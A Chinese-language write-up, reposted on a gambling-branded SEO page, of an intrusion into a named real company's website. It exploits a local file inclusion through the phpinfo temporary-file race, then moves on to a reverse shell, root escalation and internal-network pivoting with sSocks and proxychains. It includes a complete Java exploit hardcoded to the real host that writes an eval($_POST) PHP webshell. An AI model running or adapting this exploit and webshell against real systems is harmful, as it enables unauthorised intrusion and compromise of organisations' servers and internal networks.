必威体育Betway必威体育官网
当前位置:首页 > IT技术

链家旗下自如某站一个有意思的文件包含到简单内网渗透(本地文件包含getshell技巧)

时间:2019-06-27 06:44:19来源:IT技术作者:seo实验室小编阅读:64次「手机版」
 

自如内网登录

某日组里小伙伴丢来一个链接:

http://price.ziroom.com/?_p=../../../../../../../../etc/passwd%00.html

说存在本地文件包含,木有上传功能,可以截断怎么破?

拿到手第一感觉就是激动,早在很久以前一直就想要做这么一个实例,苦于没有找这样苛刻的环境,一直都没能如愿。

我们都知道在向服务器上任意php文件以form-data方式提交请求上传数据时,会生成临时文件,如果我们能直接包含临时文件就能执行我们任意的代码,但是有个前提是要知道临时文件的路径以及名称。

不得不佩服国外基佬的思路,他们发现可以通过phpinfo来获取临时文件的路径以及名称,我们有了路径跟名称就可以直接包含执行任意代码。

这里又有一个问题就是生成的临时文件会在极短的时间删除,所以我们要做的就是竞争!在删除之前包含它。

要做到竞争就必须在代码的执行效率上花功夫,用两个while循环来实现,第二个while来做核心的竞争,同时也要增加临时文件删除的时间,即提交大量的数据包,让缓存文件足够大,删除的时候时间就会相对花费的较多,竞争的概率就会更大。知道原理过后我用JAVA写了一个利用程序,为什么选择JAVA,因为JAVA的执行效率是仅次于C的。

利用条件:

1、 需要知道phpinfo路径;

2、 网站存在文件包含漏洞;

3、 Windows下有盘符之分,并不像Linux是基于根目录以树状的形式存在,所以Windows的利用条件比较苛刻,即存在远程包含可以指定盘符,或者tmp文件跟web目录在同一盘符下才可利用。

知道原理过后直接用写好的利用程序来测试

1.png

提示没有权限,那应该就是根目录没权限写了,扫了下目录发现有个cache目录,根据经验应该能写入。

2.png

成功写入得到webshell

3.png

内网渗透就是体力活了,由于网段里面装有ids、防火墙等设备,大大加长了渗透的时间。

端口应该是在设备上做了统一的策略,也不能用reGeorg、Tunna、reDuh等常用的内网渗透利器,metasploit时不时还会掉,看来只能掏出神器sSocks,在有限制的情况下建议用sSocks很不错。

反弹个SHELL,内核提权到ROOT,安装好sSocks,发现没有像metasploit一样一扫描就掉线。

1.png

2.png

3.png

4.png

虽然本机的路由表是172.16.5.0/24,但是我通过搜索以前该公司爆过的漏洞发现其他网段也能访问,大致确定范围为172.165.0.0/21内的都可以访问。通过proxychains的升级版proxychains4结合nmap探测内网,虽然没有metasploit方便,但是这个环境确实也只有这个方法了。

5.png

内网渗透就比较简单了,时间有限就不详细叙述了,只做证明不深入。

6.png

7.png

8.png

code 区域
package com.ms509;

import java.io.InputStream;

import java.io.PrintWriter;

import java.net.InetAddress;

import java.net.Socket;

import java.net.URL;

import java.util.Scanner;

import java.util.regex.Matcher;

import java.util.regex.Pattern;

public class PhpLfi {

/**

* @author Chora[ms509]

* @param string webshell 想要生成webshell的路径

* @param string host 主机地址

* @param string include 存在文件包含漏洞的路径

* @param string phpinfo phpinfo页面的地址

* @param int port 主机端口

* @param int paddingnum 填充大小

*/

public static void main(String[] args) throws Exception

{

// TODO Auto-generated method stub

String webshell = "/cache/wy.php";

String host = "price.ziroom.com";

String include = "http://price.ziroom.com/?_p=../../../../../../../..{include}%00.html";

String phpinfo = "/phpinfo.php";

int port = 80;

int paddingnum = 8000;

String padding = "";String phptmp;String url;String tmp;

for(int i=0;i<paddingnum;i++)

{

padding = padding + "A";

}

InetAddress inethost = InetAddress.getByName(host);

StringBuffer sb = new StringBuffer();

StringBuffer sb2 = new StringBuffer();

sb2.append("-----------------------------7dbff1ded0714\r\n");

sb2.append("Content-Disposition: form-data; name=\"ms509\"; filename=\"wooyun.txt\"\r\n");

sb2.append("Content-Type: text/plain\r\n");

sb2.append("\r\n");

sb2.append("<?php file_put_contents('."+webshell+"','<?php eval($_POST[ms509]);?>') ? print('ms509_true') : print('ms509_false') ?>");

sb2.append("\r\n");

sb2.append("-----------------------------7dbff1ded0714");

sb.append("POST "+phpinfo+"?a="+padding+" HTTP/1.1\r\n");

sb.append("Cookie: PHPSESSID=f90b76b7840c05076ca235b05f1c4564; ms509cookie="+padding+"\r\n");

sb.append("Accept: "+padding+"\r\n");

sb.append("User-agent: "+padding+"\r\n");

sb.append("Accept-Language: "+padding+"\r\n");

sb.append("Pragma: "+padding+"\r\n");

sb.append("Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r\n");

sb.append("Content-Length: "+String.valueOf(sb2.length())+"\r\n");

sb.append("Host: "+host+"\r\n\r\n");

sb.append(sb2);

String sbs = sb.toString();

//System.out.println(sb.toString());

while(true)

{

Socket socket = new Socket(inethost,port);

PrintWriter out = new PrintWriter(socket.getOutputStream());

out.write(sbs);

out.flush();

String data="";

while(data.indexOf("</body></html>")<0)

{

data = PhpLfi.getData(socket.getInputStream());

phptmp = PhpLfi.getPhptmp(data);

if(phptmp!=null)

{

url = include.replaceFirst("\\{include}", phptmp);

tmp = PhpLfi.doGet(url);

System.out.println(url);

if(tmp.indexOf("ms509_true")>-1)

{

System.out.println("webshell is up!\r\nwebshell is http://"+host+":"+port+webshell);

System.exit(0);

}else if(tmp.indexOf("ms509_false")>-1)

{

System.out.println("webshell up error!\r\nreason:\r\n"+tmp);

System.exit(0);

}

System.out.println(tmp);

}

}

socket.close();

}

}

public static String getData(InputStream is) throws Exception

{

int byteAva = is.available();String data = "";

if(byteAva>0)

{

byte[] tmp2 = new byte[byteAva];

is.read(tmp2);

data = new String(tmp2);

}

return data;

}

public static String getPhptmp(String data)

{

String tmp = null;

Matcher m = Pattern.compile("\\[tmp_name] =&gt;\\s(.*?)\\s").matcher(data);

if(m.find())

{

tmp = m.group(1);

}

return tmp;

}

public static String doGet(String url)

{

String data = "";

try {

URL u = new URL(url);

InputStream in = u.openStream();

Scanner scanner = new Scanner(in);

while(scanner.hasNextLine()) {

data += scanner.nextLine()+"\r\n";

}

} catch (Exception e) {

// TODO Auto-generated catch block

data = "error";

}

return data;

}

}

相关阅读

罗永浩与王自如隔空对话:又一场公关秀?

速途网8月13日特稿(丁常彦) “杜海涛”和“刘翔”要“喝喝茶聊聊天”?莫非娱乐圈和体育圈也要搞跨界对话了不成?非也非也~这里说的

王自如评测真赚钱(高调亮出120万买的豪车引网友热议)

关注科技和在科技圈内的人应该知道王自如这个人吧,ZEALER的创始人,知名数码科技评测人,知名科技媒体评论人,曾经和锤子科技老罗在优酷

刘翔和王自如亮了 twinsornot竟把他们测成双胞胎

最近微软又升级了推出了一款娱乐的APP了,网友还把刘翔和王自如的照片用这款APP对比测试,两个人居然成了双胞胎。。然而,这只是个娱乐

分享到:

栏目导航

推荐阅读

热门阅读